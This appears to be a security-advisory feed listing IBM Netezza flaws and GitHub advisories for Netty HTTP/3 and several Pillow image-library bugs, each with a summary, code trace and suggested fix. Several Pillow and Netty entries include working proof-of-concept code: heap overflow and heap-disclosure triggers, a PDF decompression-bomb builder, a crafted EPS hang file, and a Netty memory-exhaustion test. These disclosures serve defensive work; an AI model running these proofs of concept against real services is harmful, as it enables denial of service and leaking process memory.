Where
-Infinity
0
First published (updated )
Advisory
IBM-7284359
Severity
7.5
EPSS
0.23%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 has credentials that are hardcoded in the application source code, allowing unauthorized access to the container registry. The exposed secret enables attackers to pull private container images, potentially revealing proprietary code, configuration details, and other sensitive information.

1 / 2
Source: MITRE
First published (updated )
Severity
5.9
EPSS
0.13%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 does not validate or improperly validates TLS certificate validation, which could allow an attacker to obtain sensitive information using man in the middle techniques.

First published (updated )
Severity
5.3
EPSS
0.11%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 does not validate or improperly validates TLS certificate validation, which could allow an attacker to obtain sensitive information using man in the middle techniques.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
EPSS
0.19%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 has operations that are performed without validating bucket ownership using the ExpectedBucketOwner parameter. This omission may allow a remote attacker to exploit misconfigurations or naming collisions to redirect application requests to an unintended S3 bucket under their control.

1 / 2
Source: MITRE
First published (updated )
Severity
5.3
EPSS
0.19%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

IBM Netezza Software 11.3.0.3 through Interim Fix 002 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.

1 / 2
Source: MITRE
First published (updated )
Path Traversal, SSRF

IBM Netezza Software could allow a remote attacker to access unauthorized resources due to improper validation of user-supplied input in server-side requests. A path traversal server-side request forgery (SSRF) vulnerability exists where an attacker can manipulate the path component of a URL in server-side requests, allowing access to unintended internal endpoints or sensitive data.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAXVALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.

Details io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:

java // Handling reserved frame types // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8 if (in.readableBytes() < payLoadLength) { return 0; }

The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAXVALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.

This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.

PoC

java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { X509Bundle cert = new CertificateBuilder() .subject("cn=localhost") .setIsCertificateAuthority(true) .buildSelfSigned();

QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()) .applicationProtocols(Http3.supportedApplicationProtocols()) .build();

CountDownLatch serverConnectionClosed = new CountDownLatch(1);

ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder() .sslContext(serverContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .initialMaxStreamDataBidirectionalRemote(1000000) .initialMaxStreamsBidirectional(100) .tokenHandler(InsecureQuicTokenHandler.INSTANCE) .handler(new ChannelInitializer<QuicChannel>() { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { cause.printStackTrace(); ctx.close(); } })); } }) .build();

Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel();

QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build();

ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .build();

Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel();

QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get();

QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

ByteBuf header = Unpooled.buffer();

// Write reserved frame type (64) header.writeByte(0x40); header.writeByte(0x40);

// Write payload length (Integer.MAXVALUE) header.writeByte(0xC0); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x7F); header.writeByte(0xFF); header.writeByte(0xFF); header.writeByte(0xFF);

rawStream.write(header);

// Write the maximum allowed payload int payloadSize = 1000000; ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]); rawStream.writeAndFlush(payload).sync();

assertTrue(quicChannel.isActive());

quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } }

Impact Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
Integer Overflow
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image.MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImagingMapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysizestride <= bufferlen but never checks that stride is at least the natural row width xsize pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsizepixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(), getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile.open - turns attacker header words into image size, file offset, and row stride with no validation.

python src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not accept(s) or len(s) != 256: # accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.areadescriptor = w = [0, struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in MAPMODES ... self.mode = mode self.size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] w[11] w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile.Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to mapbuffer.

python src/PIL/ImageFile.py:322-348 if usemmap: # usemmap = self.filename and len(self.tile) == 1 decodername, extents, offset, args = self.tile[0] if (decodername == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image.MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESSREAD) if offset + self.size[1] args[1] > self.map.size(): # == offset + ysizestride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.mapbuffer( self.map, self.size, decodername, offset, args # args = ("L", stride, 1) )

Step 3: PyImagingMapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

c / src/map.c:65-140 / if (!PyArgParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &modename, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(modename); / "L" /

if (stride <= 0) { / attacker sets stride=1 (>0) -> NOT recomputed / if (mode == IMAGINGMODEL || mode == IMAGINGMODEP) stride = xsize; else if (isModeI16(mode)) stride = xsize 2; else stride = xsize 4; }

if (stride > 0 && ysize > PYSSIZETMAX / stride) {/ overflow guard only / PyErrSetString(PyExcMemoryError, "Integer overflow in ysize"); return NULL; } size = (Pyssizet)ysize stride; / = 11 = 1 /

if (offset > PYSSIZETMAX - size) { ... } ... if (offset + size > view.len) { / 1 + 1 = 2 <= 256 -> PASSES / PyErrSetString(PyExcValueError, "buffer is not large enough"); PyBufferRelease(&view); return NULL; }

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); / im->linesize = xsize pixelsize = 200000 (the REAL per-row read width) /

/ setup file pointers -- NO check that stride >= im->linesize / if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char )view.buf + offset + y stride; / row points into mmap, spacing=1 / } } else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysizestride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

c / the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. /

Chain Summary

SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin.open: stride = w[15]+w[10]w[11]w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysizestride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.mapbuffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImagingMapBuffer: im->image[0] = view.buf + offset + 0stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

- Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. - Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.

Suggested fix Core fix in src/map.c (PyImagingMapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin.open: reject offset < 0 or stride < xsizepixelsize .

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

python from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INTMAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

python class RankFilter(Filter): def filter(self, image): if image.mode == "P": msg = "cannot filter palette images" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingErrorValueError("bad kernel size"); }

imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 xmargin, imIn->ysize + 2 ymargin );

For a 3x3 image and xmargin = ymargin = INTMAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; }

src/libImaging/RankFilter.c does contain checks that would reject this size:

c if (!(size & 1)) { return (Imaging)ImagingErrorValueError("bad filter size"); } if (size > INTMAX / size || size > INTMAX / (size (int)sizeof(FLOAT32))) { return (Imaging)ImagingErrorValueError("filter size too large"); }

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

python from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 expandimage /out/src/src/imaging.c:1100 0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

python from io import BytesIO from PIL import Image, ImageFilter

SIZE = 4294967295 PIXEL = 0x41424344

src = BytesIO() Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == "I" assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 expandimage /out/src/src/imaging.c:1100 0 bytes after a 4-byte allocation

Version checks:

text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingErrorValueError("bad kernel size"); } if (xmargin > (INTMAX - imIn->xsize) / 2 || ymargin > (INTMAX - imIn->ysize) / 2) { return (Imaging)ImagingErrorValueError("bad kernel size"); }

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():

python PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expectedlength = self.dictionary[b"DL"] except KeyError: expectedlength = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expectedlength)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an initial buffer hint, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls readpdfinfo() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path: python with PdfParser.PdfParser("evil.pdf") as pdf: streamobj, = pdf.getvalue(pdf.buf, streamoffset) data = streamobj.decode() # ← OOM here

PoC

python import zlib, tempfile, os, time from PIL import PdfParser

Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPANDMB = 100 raw = b'\x00' (EXPANDMB 1000000) compressed = zlib.compress(raw, level=9) # ~97 KB

buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf: obj, = pdf.getvalue(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12): PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

| PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |

Impact This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.

Suggested fix:

python MAXDECOMPRESSBYTES = 200 1024 1024 # 200 MB cap

def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expectedlength)) if len(result) > MAXDECOMPRESSBYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1" image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

python im.save(out, format="TGA", compression="tgarle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8) bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized 57297 bytes from distinct out-of-bounds source offsets into one returned TGA, covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most 128 bytes each, not one large memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the tgarle encoder when RLE compression is requested.

src/encode.c:setimage() allocates the row buffer using the packed-bit formula:

c state->bytes = (state->bits state->xsize + 7) / 8; state->buffer = (UINT8 )calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

c bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

c static int comparePixels(const UINT8 buf, int x, int bytesPerPixel) { buf += x bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; }

The packet payload memcpy() later copies those out-of-bounds source bytes into the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy one representative byte:

c memcpy( dst, state->buffer + (state->x bytesPerPixel - state->count), flushCount );

A width-2 mode "1" image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

python import io from PIL import Image

out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tgarle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

python import hashlib import io import PIL from PIL import Image

WIDTH = 65535 ATTEMPTS = 20 ROWBYTES = (WIDTH + 7) // 8 MAXOOBWINDOW = WIDTH - ROWBYTES

def extractoobpayload(data): i = 18 pixel = 0 oob = bytearray()

while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1

if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROWBYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROWBYTES - pixel, 0) :])

pixel += count

return bytes(oob)

best = b""

for in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tgarle") oob = extractoobpayload(out.getvalue()) if len(oob) > len(best): best = oob

with open("/tmp/maxoobbytes.bin", "wb") as fp: fp.write(best)

print(f"Pillow={PIL.version}") print(f"packedrowbytes={ROWBYTES}") print(f"maximumoobwindow={MAXOOBWINDOW}") print(f"serializeddistinctooboffsets={len(best)}") print(f"nonzerooobbytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAXOOBWINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

text Pillow=12.2.0 packedrowbytes=8192 maximumoobwindow=57343 serializeddistinctooboffsets=57297 nonzerooobbytes=54407 coverage=99.92%

Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full 57343-byte adjacent heap window to be incorporated into one output file.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.outputmode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["iccprofile"] = self.outputprofile.tobytes() return imOut

If imOut is provided, Pillow does not check:

text im.mode == self.inputmode imOut.mode == self.outputmode

The C wrapper in src/imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; }

for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); }

pyCMScopyAux(hTransform, imOut, im); return 0; }

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPERGBA8, which writes 4 bytes per pixel:

c case IMAGINGMODERGB: case IMAGINGMODERGBA: case IMAGINGMODERGBX: return TYPERGBA8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 width bytes for that row.

For width 4096:

text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

python from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0)

print("before", flush=True) transform.apply(im, out) print("after")

Observed locally on Pillow 12.3.0.dev0:

text before after free(): invalid next size (normal) Aborted (core dumped)

Controlled overwrite evidence PoC:

python from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

bash gdb -q --batch -ex run -ex bt --args \ python3 b022controlled.py

Observed on Pillow 12.3.0.dev0:

text Program received signal SIGSEGV, Segmentation fault. pthreadmutexlock (mutex=mutex@entry=0x4443424144434241) #1 cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cmsprofiletobytes (...) at src/imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.

Suggested fix

Validate modes before calling into the native transform:

python def apply(self, im, imOut=None): if im.mode != self.inputmode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.outputmode, im.size, None) elif imOut.mode != self.outputmode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["iccprofile"] = self.outputprofile.tobytes() return imOut

The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.

The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.

Confirmed affected versions: Pillow 12.0.0 through 12.2.0.

Details

The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.

Relevant code:

elif bytesmv[:14] == b"%%BeginBinary:": bytecount = int(bytearr[14:bytesread]) self.fp.seek(bytecount, os.SEEKCUR)

There is no validation that bytecount is non-negative.

If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.

In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.

PoC

Save the following content as pillowepsbeginbinarydos.eps:

%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 1 1 %%EndComments % dummy comment after transition %%BeginBinary:-18 %%EOF

Then run:

python -m pip install "Pillow==12.2.0"

python - <<'PY' from PIL import Image Image.open("pillowepsbeginbinarydos.eps") PY

Expected behavior: Pillow should reject the malformed EPS file with a parser exception.

Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.

